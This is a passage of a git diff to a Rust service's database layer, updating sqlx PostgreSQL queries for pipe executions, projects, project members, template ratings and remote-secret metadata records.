@@ -346,10 +377,10 @@ pub async fn update_instance_status(
         UPDATE pipe_instances
         SET status = $2, updated_at = NOW()
         WHERE id = $1
-        RETURNING id, template_id, deployment_hash, source_container, target_container,
-                  target_url, field_mapping_override, config_override, status,
-                  last_triggered_at, trigger_count, error_count, created_by,
-                  created_at, updated_at
+        RETURNING id, template_id, deployment_hash, source_adapter, source_container,
+                  target_adapter, target_container, target_url, field_mapping_override,
+                  config_override, status, last_triggered_at, trigger_count, error_count,
+                  is_local, created_by, created_at, updated_at
         "#,
     )
     .bind(id)
@@ -436,12 +467,12 @@ pub async fn insert_execution(
         INSERT INTO pipe_executions (
             id, pipe_instance_id, deployment_hash, trigger_type, status,
             source_data, mapped_data, target_response, error, duration_ms,
-            replay_of, created_by, started_at, completed_at
+            replay_of, is_local, created_by, started_at, completed_at
         )
-        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14)
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15)
         RETURNING id, pipe_instance_id, deployment_hash, trigger_type, status,
                   source_data, mapped_data, target_response, error, duration_ms,
-                  replay_of, created_by, started_at, completed_at
+                  replay_of, is_local, created_by, started_at, completed_at
         "#,
     )
     .bind(execution.id)
@@ -455,6 +486,7 @@ pub async fn insert_execution(
     .bind(&execution.error)
     .bind(execution.duration_ms)
     .bind(execution.replay_of)
+    .bind(execution.is_local)
     .bind(&execution.created_by)
     .bind(execution.started_at)
     .bind(execution.completed_at)
@@ -475,7 +507,7 @@ pub async fn get_execution(pool: &PgPool, id: &Uuid) -> Result<Option<PipeExecut
         r#"
         SELECT id, pipe_instance_id, deployment_hash, trigger_type, status,
                source_data, mapped_data, target_response, error, duration_ms,
-               replay_of, created_by, started_at, completed_at
+               replay_of, is_local, created_by, started_at, completed_at
         FROM pipe_executions
         WHERE id = $1
         "#,
@@ -490,6 +522,40 @@ pub async fn get_execution(pool: &PgPool, id: &Uuid) -> Result<Option<PipeExecut
     })
 }
 
+/// Find the latest pending replay execution for an instance/deployment pair.
+#[tracing::instrument(name = "Find pending replay execution", skip(pool))]
+pub async fn find_pending_replay_execution(
+    pool: &PgPool,
+    instance_id: &Uuid,
+    deployment_hash: &str,
+) -> Result<Option<PipeExecution>, String> {
+    let query_span = tracing::info_span!("Finding pending replay execution");
+    sqlx::query_as::<_, PipeExecution>(
+        r#"
+        SELECT id, pipe_instance_id, deployment_hash, trigger_type, status,
+               source_data, mapped_data, target_response, error, duration_ms,
+               replay_of, is_local, created_by, started_at, completed_at
+        FROM pipe_executions
+        WHERE pipe_instance_id = $1
+          AND deployment_hash = $2
+          AND trigger_type = 'replay'
+          AND replay_of IS NOT NULL
+          AND status = 'running'
+        ORDER BY started_at DESC
+        LIMIT 1
+        "#,
+    )
+    .bind(instance_id)
+    .bind(deployment_hash)
+    .fetch_optional(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to find pending replay execution: {:?}", err);
+        format!("Failed to find pending replay execution: {}", err)
+    })
+}
+
 /// List pipe executions for a specific instance (paginated, newest first)
 #[tracing::instrument(name = "List pipe executions for instance", skip(pool))]
 pub async fn list_executions(
@@ -503,7 +569,7 @@ pub async fn list_executions(
         r#"
         SELECT id, pipe_instance_id, deployment_hash, trigger_type, status,
                source_data, mapped_data, target_response, error, duration_ms,
-               replay_of, created_by, started_at, completed_at
+               replay_of, is_local, created_by, started_at, completed_at
         FROM pipe_executions
         WHERE pipe_instance_id = $1
         ORDER BY started_at DESC
@@ -548,7 +614,7 @@ pub async fn update_execution_result(
         WHERE id = $1
         RETURNING id, pipe_instance_id, deployment_hash, trigger_type, status,
                   source_data, mapped_data, target_response, error, duration_ms,
-                  replay_of, created_by, started_at, completed_at
+                  replay_of, is_local, created_by, started_at, completed_at
         "#,
     )
     .bind(id)
diff --git a/src/db/project.rs b/src/db/project.rs
index c8425681..49df8506 100644
--- a/src/db/project.rs
+++ b/src/db/project.rs
@@ -1,5 +1,6 @@
 use crate::models;
 use sqlx::PgPool;
+use sqlx::Row;
 use tracing::Instrument;
 
 pub async fn fetch(pool: &PgPool, id: i32) -> Result<Option<models::Project>, String> {
@@ -48,6 +49,34 @@ pub async fn fetch_by_user(pool: &PgPool, user_id: &str) -> Result<Vec<models::P
     })
 }
 
+pub async fn fetch_shared_by_user(
+    pool: &PgPool,
+    user_id: &str,
+) -> Result<Vec<models::SharedProjectSummary>, String> {
+    let query_span = tracing::info_span!("Fetch shared projects by user id.");
+    sqlx::query_as::<_, models::SharedProjectSummary>(
+        r#"
+        SELECT
+            p.id,
+            p.name,
+            pm.role,
+            pm.created_at AS shared_at
+        FROM project_member pm
+        JOIN project p ON p.id = pm.project_id
+        WHERE pm.user_id = $1
+        ORDER BY pm.created_at DESC, p.id DESC
+        "#,
+    )
+    .bind(user_id)
+    .fetch_all(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to fetch shared projects, error: {:?}", err);
+        "".to_string()
+    })
+}
+
 pub async fn fetch_one_by_name(
     pool: &PgPool,
     name: &str,
@@ -84,25 +113,37 @@ pub async fn insert(
     mut project: models::Project,
 ) -> Result<models::Project, String> {
     let query_span = tracing::info_span!("Saving new project into the database");
-    sqlx::query!(
+    sqlx::query(
         r#"
-        INSERT INTO project (stack_id, user_id, name, metadata, created_at, updated_at, request_json)
-        VALUES ($1, $2, $3, $4, $5, $6, $7)
+        INSERT INTO project (
+            stack_id,
+            user_id,
+            name,
+            metadata,
+            created_at,
+            updated_at,
+            request_json,
+            source_template_id,
+            template_version
+        )
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)
         RETURNING id;
         "#,
-        project.stack_id,
-        project.user_id,
-        project.name,
-        project.metadata,
-        project.created_at,
-        project.updated_at,
-        project.request_json,
     )
+    .bind(project.stack_id)
+    .bind(project.user_id.clone())
+    .bind(project.name.clone())
+    .bind(project.metadata.clone())
+    .bind(project.created_at)
+    .bind(project.updated_at)
+    .bind(project.request_json.clone())
+    .bind(project.source_template_id)
+    .bind(project.template_version.clone())
     .fetch_one(pool)
     .instrument(query_span)
     .await
     .map(move |result| {
-        project.id = result.id;
+        project.id = result.get("id");
         project
     })
     .map_err(|e| {
@@ -116,8 +157,7 @@ pub async fn update(
     mut project: models::Project,
 ) -> Result<models::Project, String> {
     let query_span = tracing::info_span!("Updating project");
-    sqlx::query_as!(
-        models::Project,
+    sqlx::query(
         r#"
         UPDATE project
         SET 
@@ -126,29 +166,36 @@ pub async fn update(
             name=$4,
             metadata=$5,
             request_json=$6,
+            source_template_id=$7,
+            template_version=$8,
             updated_at=NOW() at time zone 'utc'
         WHERE id = $1
-        RETURNING *
         "#,
-        project.id,
-        project.stack_id,
-        project.user_id,
-        project.name,
-        project.metadata,
-        project.request_json
     )
-    .fetch_one(pool)
+    .bind(project.id)
+    .bind(project.stack_id)
+    .bind(project.user_id.clone())
+    .bind(project.name.clone())
+    .bind(project.metadata.clone())
+    .bind(project.request_json.clone())
+    .bind(project.source_template_id)
+    .bind(project.template_version.clone())
+    .execute(pool)
     .instrument(query_span)
     .await
-    .map(|result| {
-        tracing::info!("Project {} has been saved to database", project.id);
-        project.updated_at = result.updated_at;
-        project
-    })
     .map_err(|err| {
         tracing::error!("Failed to execute query: {:?}", err);
         "".to_string()
-    })
+    })?;
+
+    fetch(pool, project.id)
+        .await
+        .and_then(|result| result.ok_or_else(|| "Project not found after update".to_string()))
+        .map(|saved| {
+            tracing::info!("Project {} has been saved to database", project.id);
+            project.updated_at = saved.updated_at;
+            project
+        })
 }
 
 #[tracing::instrument(name = "Delete user's project.")]
diff --git a/src/db/project_app.rs b/src/db/project_app.rs
index e17e535e..caf05bbb 100644
--- a/src/db/project_app.rs
+++ b/src/db/project_app.rs
@@ -228,6 +228,44 @@ pub async fn update(pool: &PgPool, app: &models::ProjectApp) -> Result<models::P
     })
 }
 
+/// Update metadata after a rendered app config is successfully stored in Vault.
+pub async fn update_sync_metadata(
+    pool: &PgPool,
+    app_id: i32,
+    config_hash: &str,
+) -> Result<(), String> {
+    let query_span = tracing::info_span!("Updating app config sync metadata");
+    let result = sqlx::query(
+        r#"
+        UPDATE project_app
+        SET
+            vault_synced_at = NOW(),
+            vault_sync_version = config_version,
+            config_hash = $2,
+            updated_at = NOW()
+        WHERE id = $1
+        "#,
+    )
+    .bind(app_id)
+    .bind(config_hash)
+    .execute(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("Failed to update app config sync metadata: {:?}", e);
+        format!("Failed to update app config sync metadata: {}", e)
+    })?;
+
+    if result.rows_affected() == 0 {
+        return Err(format!(
+            "Failed to update app config sync metadata: app {} not found",
+            app_id
+        ));
+    }
+
+    Ok(())
+}
+
 /// Delete an app by ID
 pub async fn delete(pool: &PgPool, id: i32) -> Result<bool, String> {
     let query_span = tracing::info_span!("Deleting app");
@@ -255,18 +293,16 @@ pub async fn delete_by_project_and_code(
     code: &str,
 ) -> Result<bool, String> {
     let query_span = tracing::info_span!("Deleting app by project and code");
-    let result = sqlx::query(
-        "DELETE FROM project_app WHERE project_id = $1 AND code = $2",
-    )
-    .bind(project_id)
-    .bind(code)
-    .execute(pool)
-    .instrument(query_span)
-    .await
-    .map_err(|e| {
-        tracing::error!("Failed to delete app by project and code: {:?}", e);
-        format!("Failed to delete app: {}", e)
-    })?;
+    let result = sqlx::query("DELETE FROM project_app WHERE project_id = $1 AND code = $2")
+        .bind(project_id)
+        .bind(code)
+        .execute(pool)
+        .instrument(query_span)
+        .await
+        .map_err(|e| {
+            tracing::error!("Failed to delete app by project and code: {:?}", e);
+            format!("Failed to delete app: {}", e)
+        })?;
 
     Ok(result.rows_affected() > 0)
 }
diff --git a/src/db/project_member.rs b/src/db/project_member.rs
new file mode 100644
index 00000000..54ae8c0b
--- /dev/null
+++ b/src/db/project_member.rs
@@ -0,0 +1,104 @@
+use crate::models;
+use sqlx::PgPool;
+use tracing::Instrument;
+
+pub async fn upsert(
+    pool: &PgPool,
+    project_id: i32,
+    user_id: &str,
+    role: &str,
+    created_by: &str,
+) -> Result<models::ProjectMember, String> {
+    let query_span = tracing::info_span!("Upsert project member", project_id, user_id);
+    sqlx::query_as::<_, models::ProjectMember>(
+        r#"
+        INSERT INTO project_member (project_id, user_id, role, created_by, created_at, updated_at)
+        VALUES ($1, $2, $3, $4, NOW() at time zone 'utc', NOW() at time zone 'utc')
+        ON CONFLICT (project_id, user_id)
+        DO UPDATE SET
+            role = EXCLUDED.role,
+            created_by = EXCLUDED.created_by,
+            updated_at = NOW() at time zone 'utc'
+        RETURNING project_id, user_id, role, created_by, created_at, updated_at
+        "#,
+    )
+    .bind(project_id)
+    .bind(user_id)
+    .bind(role)
+    .bind(created_by)
+    .fetch_one(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to upsert project member: {:?}", err);
+        "Failed to save project member".to_string()
+    })
+}
+
+pub async fn fetch(
+    pool: &PgPool,
+    project_id: i32,
+    user_id: &str,
+) -> Result<Option<models::ProjectMember>, String> {
+    let query_span = tracing::info_span!("Fetch project member", project_id, user_id);
+    sqlx::query_as::<_, models::ProjectMember>(
+        r#"
+        SELECT project_id, user_id, role, created_by, created_at, updated_at
+        FROM project_member
+        WHERE project_id = $1 AND user_id = $2
+        LIMIT 1
+        "#,
+    )
+    .bind(project_id)
+    .bind(user_id)
+    .fetch_optional(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to fetch project member: {:?}", err);
+        "Failed to fetch project member".to_string()
+    })
+}
+
+pub async fn fetch_by_project(
+    pool: &PgPool,
+    project_id: i32,
+) -> Result<Vec<models::ProjectMember>, String> {
+    let query_span = tracing::info_span!("Fetch project members", project_id);
+    sqlx::query_as::<_, models::ProjectMember>(
+        r#"
+        SELECT project_id, user_id, role, created_by, created_at, updated_at
+        FROM project_member
+        WHERE project_id = $1
+        ORDER BY created_at ASC, user_id ASC
+        "#,
+    )
+    .bind(project_id)
+    .fetch_all(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to fetch project members: {:?}", err);
+        "Failed to fetch project members".to_string()
+    })
+}
+
+pub async fn delete(pool: &PgPool, project_id: i32, user_id: &str) -> Result<bool, String> {
+    let query_span = tracing::info_span!("Delete project member", project_id, user_id);
+    sqlx::query(
+        r#"
+        DELETE FROM project_member
+        WHERE project_id = $1 AND user_id = $2
+        "#,
+    )
+    .bind(project_id)
+    .bind(user_id)
+    .execute(pool)
+    .instrument(query_span)
+    .await
+    .map(|result| result.rows_affected() > 0)
+    .map_err(|err| {
+        tracing::error!("Failed to delete project member: {:?}", err);
+        "Failed to delete project member".to_string()
+    })
+}
diff --git a/src/db/rating.rs b/src/db/rating.rs
index 3cf0baf1..831a94bc 100644
--- a/src/db/rating.rs
+++ b/src/db/rating.rs
@@ -1,16 +1,282 @@
 use crate::models;
-use sqlx::PgPool;
+use sqlx::{PgPool, Row};
 use tracing::Instrument;
 
+pub fn visible_average_subquery_for_obj_id(obj_id_expr: &str) -> String {
+    format!(
+        "(SELECT AVG(r.rate)::float8 / 2.0 FROM rating r WHERE r.obj_id = {obj_id_expr} AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+pub fn visible_count_subquery_for_obj_id(obj_id_expr: &str) -> String {
+    format!(
+        "(SELECT COUNT(*)::bigint FROM rating r WHERE r.obj_id = {obj_id_expr} AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+pub fn visible_average_subquery_for_creator(creator_user_id_expr: &str) -> String {
+    format!(
+        "(SELECT AVG(r.rate)::float8 / 2.0 FROM stack_template t JOIN rating r ON r.obj_id = t.product_id WHERE t.creator_user_id = {creator_user_id_expr} AND t.status = 'approved' AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+pub fn visible_count_subquery_for_creator(creator_user_id_expr: &str) -> String {
+    format!(
+        "(SELECT COUNT(*)::bigint FROM stack_template t JOIN rating r ON r.obj_id = t.product_id WHERE t.creator_user_id = {creator_user_id_expr} AND t.status = 'approved' AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+async fn fetch_approved_template_product_id_readonly(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+) -> Result<Option<Option<i32>>, String> {
+    sqlx::query(
+        r#"SELECT product_id
+           FROM stack_template
+           WHERE id = $1 AND status = 'approved'
+           LIMIT 1"#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .await
+    .map(|row| row.map(|row| row.get::<Option<i32>, _>("product_id")))
+    .map_err(|err| {
+        tracing::error!("Failed to fetch approved template product_id: {:?}", err);
+        "Internal Server Error".to_string()
+    })
+}
+
+async fn ensure_approved_template_product_id(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+) -> Result<Option<i32>, String> {
+    sqlx::query(
+        r#"WITH selected AS (
+            SELECT id, COALESCE(product_id, hashtext(id::text)) AS product_id
+            FROM stack_template
+            WHERE id = $1 AND status = 'approved'
+            LIMIT 1
+        ), inserted_product AS (
+            INSERT INTO product (id, obj_id, obj_type, created_at, updated_at)
+            SELECT product_id, product_id, 'marketplace_template', NOW(), NOW()
+            FROM selected
+            ON CONFLICT (id) DO NOTHING
+        )
+        UPDATE stack_template t
+        SET product_id = selected.product_id
+        FROM selected
+        WHERE t.id = selected.id
+        RETURNING t.product_id"#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .await
+    .map(|row| row.and_then(|row| row.get::<Option<i32>, _>("product_id")))
+    .map_err(|err| {
+        tracing::error!("Failed to ensure approved template product_id: {:?}", err);
+        "Internal Server Error".to_string()
+    })
+}
+
+pub async fn template_summary(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+) -> Result<Option<models::TemplateRatingSummary>, String> {
+    let Some(product_id) = fetch_approved_template_product_id_readonly(pool, template_id).await?
+    else {
+        return Ok(None);
+    };
+    let Some(product_id) = product_id else {
+        return Ok(Some(models::TemplateRatingSummary {
+            template_id: *template_id,
+            rating: None,
+            rating_count: 0,
+            rating_scale: 5,
+        }));
+    };
+
+    let row = sqlx::query(
+        r#"SELECT
+            AVG(rate)::float8 / 2.0 AS rating,
+            COUNT(*)::bigint AS rating_count
+        FROM rating
+        WHERE obj_id = $1
+          AND category = 'application'
+          AND rate IS NOT NULL
+          AND hidden = false"#,
+    )
+    .bind(product_id)
+    .fetch_one(pool)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to fetch template rating summary: {:?}", err);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(Some(models::TemplateRatingSummary {
+        template_id: *template_id,
+        rating: row.get("rating"),
+        rating_count: row.get("rating_count"),
+        rating_scale: 5,
+    }))
+}
+
+pub async fn fetch_template_rating_for_user(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    user_id: &str,
+) -> Result<Option<models::MyTemplateRating>, String> {
+    let Some(product_id) = fetch_approved_template_product_id_readonly(pool, template_id).await?
+    else {
+        return Ok(None);
+    };
+    let Some(product_id) = product_id else {
+        return Ok(None);
+    };
+
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
+            id,
+            user_id,
+            obj_id,
+            category,
+            comment,
+            hidden,
+            rate,
+            created_at,
+            updated_at
+        FROM rating
+        WHERE obj_id = $1
+          AND user_id = $2
+          AND category = 'application'
+          AND hidden = false
+        LIMIT 1"#,
+    )
+    .bind(product_id)
+    .bind(user_id)
+    .fetch_optional(pool)
+    .await
+    .map(|rating| {
+        rating.map(|rating| models::MyTemplateRating {
+            template_id: *template_id,
+            rating_id: rating.id,
+            rating: rating.rate.unwrap_or_default() as f64 / 2.0,
+            rating_scale: 5,
+            comment: rating.comment,
+            created_at: rating.created_at,
+            updated_at: rating.updated_at,
+        })
+    })
+    .map_err(|err| {
+        tracing::error!("Failed to fetch template rating for user: {:?}", err);
+        "Internal Server Error".to_string()
+    })
+}
+
+pub async fn upsert_template_rating_for_user(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    user_id: &str,
+    stars: i32,
+    comment: Option<String>,
+) -> Result<Option<models::MyTemplateRating>, String> {
+    let Some(product_id) = ensure_approved_template_product_id(pool, template_id).await? else {
+        return Ok(None);
+    };
+    let internal_rate = stars * 2;
+
+    let rating = sqlx::query_as::<_, models::Rating>(
+        r#"INSERT INTO rating (
+            user_id,
+            obj_id,
+            category,
+            comment,
+            hidden,
+            rate,
+            created_at,
+            updated_at
+        )
+        VALUES ($1, $2, 'application', $3, false, $4, NOW() at time zone 'utc', NOW() at time zone 'utc')
+        ON CONFLICT (user_id, obj_id, category) WHERE hidden = false
+        DO UPDATE SET
+            comment = EXCLUDED.comment,
+            rate = EXCLUDED.rate,
+            hidden = false,
+            updated_at = NOW() at time zone 'utc'
+        RETURNING
+            id,
+            user_id,
+            obj_id,
+            category,
+            comment,
+            hidden,
+            rate,
+            created_at,
+            updated_at"#,
+    )
+    .bind(user_id)
+    .bind(product_id)
+    .bind(comment)
+    .bind(internal_rate)
+    .fetch_one(pool)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to upsert template rating: {:?}", err);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(Some(models::MyTemplateRating {
+        template_id: *template_id,
+        rating_id: rating.id,
+        rating: rating.rate.unwrap_or_default() as f64 / 2.0,
+        rating_scale: 5,
+        comment: rating.comment,
+        created_at: rating.created_at,
+        updated_at: rating.updated_at,
+    }))
+}
+
+pub async fn hide_template_rating_for_user(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    user_id: &str,
+) -> Result<Option<()>, String> {
+    let Some(product_id) = fetch_approved_template_product_id_readonly(pool, template_id).await?
+    else {
+        return Ok(None);
+    };
+    let Some(product_id) = product_id else {
+        return Ok(None);
+    };
+
+    let Some(mut rating) = fetch_by_obj_and_user_and_category(
+        pool,
+        product_id,
+        user_id.to_string(),
+        models::RateCategory::Application,
+    )
+    .await?
+    else {
+        return Ok(None);
+    };
+
+    if rating.hidden == Some(true) {
+        return Ok(None);
+    }
+
+    rating.hidden = Some(true);
+    update(pool, rating).await?;
+    Ok(Some(()))
+}
+
 pub async fn fetch_all(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch all ratings.");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
@@ -18,7 +284,7 @@ pub async fn fetch_all(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
             updated_at
         FROM rating
         ORDER BY id DESC
-        "#
+        "#,
     )
     .fetch_all(pool)
     .instrument(query_span)
@@ -31,13 +297,12 @@ pub async fn fetch_all(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
 
 pub async fn fetch(pool: &PgPool, id: i32) -> Result<Option<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch rating by id");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
@@ -46,8 +311,8 @@ pub async fn fetch(pool: &PgPool, id: i32) -> Result<Option<models::Rating>, Str
         FROM rating
         WHERE id=$1
         LIMIT 1"#,
-        id
     )
+    .bind(id)
     .fetch_one(pool)
     .instrument(query_span)
     .await
@@ -68,13 +333,12 @@ pub async fn fetch_by_obj_and_user_and_category(
     category: models::RateCategory,
 ) -> Result<Option<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch rating by obj, user and category.");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
@@ -85,10 +349,10 @@ pub async fn fetch_by_obj_and_user_and_category(
             AND obj_id=$2
             AND category=$3
         LIMIT 1"#,
-        user_id,
-        obj_id,
-        category as _
     )
+    .bind(user_id)
+    .bind(obj_id)
+    .bind(category)
     .fetch_one(pool)
     .instrument(query_span)
     .await
@@ -104,24 +368,24 @@ pub async fn fetch_by_obj_and_user_and_category(
 
 pub async fn insert(pool: &PgPool, mut rating: models::Rating) -> Result<models::Rating, String> {
     let query_span = tracing::info_span!("Saving new rating details into the database");
-    sqlx::query!(
+    sqlx::query(
         r#"
         INSERT INTO rating (user_id, obj_id, category, comment, hidden, rate, created_at, updated_at)
         VALUES ($1, $2, $3, $4, $5, $6, NOW() at time zone 'utc', NOW() at time zone 'utc')
         RETURNING id
         "#,
-        rating.user_id,
-        rating.obj_id,
-        rating.category as _,
-        rating.comment,
-        rating.hidden,
-        rating.rate
     )
+    .bind(&rating.user_id)
+    .bind(rating.obj_id)
+    .bind(rating.category)
+    .bind(&rating.comment)
+    .bind(rating.hidden)
+    .bind(rating.rate)
     .fetch_one(pool)
     .instrument(query_span)
     .await
     .map(move |result| {
-        rating.id = result.id;
+        rating.id = result.get("id");
         rating
     })
     .map_err(|e| {
@@ -132,21 +396,21 @@ pub async fn insert(pool: &PgPool, mut rating: models::Rating) -> Result<models:
 
 pub async fn update(pool: &PgPool, rating: models::Rating) -> Result<models::Rating, String> {
     let query_span = tracing::info_span!("Updating rating into the database");
-    sqlx::query!(
+    sqlx::query(
         r#"
         UPDATE rating
-        SET 
+        SET
             comment=$1,
             rate=$2,
             hidden=$3,
             updated_at=NOW() at time zone 'utc'
         WHERE id = $4
         "#,
-        rating.comment,
-        rating.rate,
-        rating.hidden,
-        rating.id
     )
+    .bind(&rating.comment)
+    .bind(rating.rate)
+    .bind(rating.hidden)
+    .bind(rating.id)
     .execute(pool)
     .instrument(query_span)
     .await
@@ -162,20 +426,19 @@ pub async fn update(pool: &PgPool, rating: models::Rating) -> Result<models::Rat
 
 pub async fn fetch_all_visible(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch all ratings.");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
             created_at,
             updated_at
         FROM rating
-        WHERE hidden = false 
+        WHERE hidden = false
         ORDER BY id DESC
         "#,
     )
@@ -190,19 +453,18 @@ pub async fn fetch_all_visible(pool: &PgPool) -> Result<Vec<models::Rating>, Str
 
 pub async fn delete(pool: &PgPool, rating: models::Rating) -> Result<(), String> {
     let query_span = tracing::info_span!("Deleting rating from the database");
-    sqlx::query!(
+    sqlx::query(
         r#"
         DELETE FROM rating
         WHERE id = $1
         "#,
-        rating.id
     )
+    .bind(rating.id)
     .execute(pool)
     .instrument(query_span)
     .await
     .map(|_| {
         tracing::info!("Rating {} has been deleted from the database", rating.id);
-        ()
     })
     .map_err(|err| {
         tracing::error!("Failed to execute query: {:?}", err);
diff --git a/src/db/remote_secret.rs b/src/db/remote_secret.rs
new file mode 100644
index 00000000..d851fd2b
--- /dev/null
+++ b/src/db/remote_secret.rs
@@ -0,0 +1,210 @@
+use crate::models::RemoteSecret;
+use sqlx::{PgPool, Row};
+
+pub async fn fetch_service_secret(
+    pool: &PgPool,
+    user_id: &str,
+    project_id: i32,
+    app_code: &str,
+    name: &str,
+) -> Result<Option<RemoteSecret>, String> {
+    sqlx::query_as::<_, RemoteSecret>(
+        r#"
+        SELECT *
+        FROM remote_secret
+        WHERE user_id = $1
+          AND scope = 'service'
+          AND project_id = $2
+          AND app_code = $3
+          AND name = $4
+        LIMIT 1
+        "#,
+    )
+    .bind(user_id)
+    .bind(project_id)
+    .bind(app_code)
+    .bind(name)
+    .fetch_optional(pool)
+    .await
+    .map_err(|e| format!("Failed to fetch service secret metadata: {}", e))
+}
+
+pub async fn list_service_secrets(
+    pool: &PgPool,
+    user_id: &str,
+    project_id: i32,
+    app_code: &str,
+) -> Result<Vec<RemoteSecret>, String> {
+    sqlx::query_as::<_, RemoteSecret>(
+        r#"
+        SELECT *
+        FROM remote_secret
+        WHERE user_id = $1
+          AND scope = 'service'
+          AND project_id = $2
+          AND app_code = $3
+        ORDER BY name ASC
+        "#,
+    )
+    .bind(user_id)
+    .bind(project_id)
+    .bind(app_code)
+    .fetch_all(pool)
+    .await
+    .map_err(|e| format!("Failed to list service secret metadata: {}", e))
+}
+
+pub async fn fetch_server_secret(
+    pool: &PgPool,
+    user_id: &str,
+    server_id: i32,
+    name: &str,
+) -> Result<Option<RemoteSecret>, String> {
+    sqlx::query_as::<_, RemoteSecret>(
+        r#"
+        SELECT *
+        FROM remote_secret
+        WHERE user_id = $1
+          AND scope = 'server'
+          AND server_id = $2
+          AND name = $3
+        LIMIT 1
+        "#,
+    )
+    .bind(user_id)
+    .bind(server_id)
+    .bind(name)
+    .fetch_optional(pool)
+    .await
+    .map_err(|e| format!("Failed to fetch server secret metadata: {}", e))
+}
+
+pub async fn list_server_secrets(
+    pool: &PgPool,
+    user_id: &str,
+    server_id: i32,
+) -> Result<Vec<RemoteSecret>, String> {
+    sqlx::query_as::<_, RemoteSecret>(
+        r#"
+        SELECT *
+        FROM remote_secret
+        WHERE user_id = $1
+          AND scope = 'server'
+          AND server_id = $2
+        ORDER BY name ASC
+        "#,
+    )
+    .bind(user_id)
+    .bind(server_id)
+    .fetch_all(pool)
+    .await
+    .map_err(|e| format!("Failed to list server secret metadata: {}", e))
+}
+
+pub async fn upsert_service_secret(
+    pool: &PgPool,
+    user_id: &str,
+    project_id: i32,
+    app_code: &str,
+    name: &str,
+    vault_path: &str,
+    updated_by: &str,
+    last_sync_status: &str,
+) -> Result<RemoteSecret, String> {
+    sqlx::query_as::<_, RemoteSecret>(
+        r#"
+        INSERT INTO remote_secret (
+            user_id,
+            project_id,
+            app_code,
+            server_id,
+            scope,
+            name,
+            vault_path,
+            updated_by,
+            last_sync_status
+        )
+        VALUES ($1, $2, $3, NULL, 'service', $4, $5, $6, $7)
+        ON CONFLICT (user_id, project_id, app_code, name) WHERE scope = 'service'
+        DO UPDATE SET
+            vault_path = EXCLUDED.vault_path,
+            updated_by = EXCLUDED.updated_by,
+            last_sync_status = EXCLUDED.last_sync_status,
+            updated_at = NOW()
+        RETURNING *
+        "#,
+    )
+    .bind(user_id)
+    .bind(project_id)
+    .bind(app_code)
+    .bind(name)
+    .bind(vault_path)
+    .bind(updated_by)
+    .bind(last_sync_status)
+    .fetch_one(pool)
+    .await
+    .map_err(|e| format!("Failed to upsert service secret metadata: {}", e))
+}
+
+pub async fn upsert_server_secret(
+    pool: &PgPool,
+    user_id: &str,
+    server_id: i32,
+    name: &str,
+    vault_path: &str,
+    updated_by: &str,
+    last_sync_status: &str,
+) -> Result<RemoteSecret, String> {
+    sqlx::query_as::<_, RemoteSecret>(
+        r#"
+        INSERT INTO remote_secret (
+            user_id,
+            project_id,
+            app_code,
+            server_id,
+            scope,
+            name,
+            vault_path,
+            updated_by,
+            last_sync_status
+        )
+        VALUES ($1, NULL, NULL, $2, 'server', $3, $4, $5, $6)
+        ON CONFLICT (user_id, server_id, name) WHERE scope = 'server'
+        DO UPDATE SET
+            vault_path = EXCLUDED.vault_path,
+            updated_by = EXCLUDED.updated_by,
+            last_sync_status = EXCLUDED.last_sync_status,
+            updated_at = NOW()
+        RETURNING *
+        "#,
+    )
+    .bind(user_id)
+    .bind(server_id)
+    .bind(name)
+    .bind(vault_path)
+    .bind(updated_by)
+    .bind(last_sync_status)
+    .fetch_one(pool)
+    .await
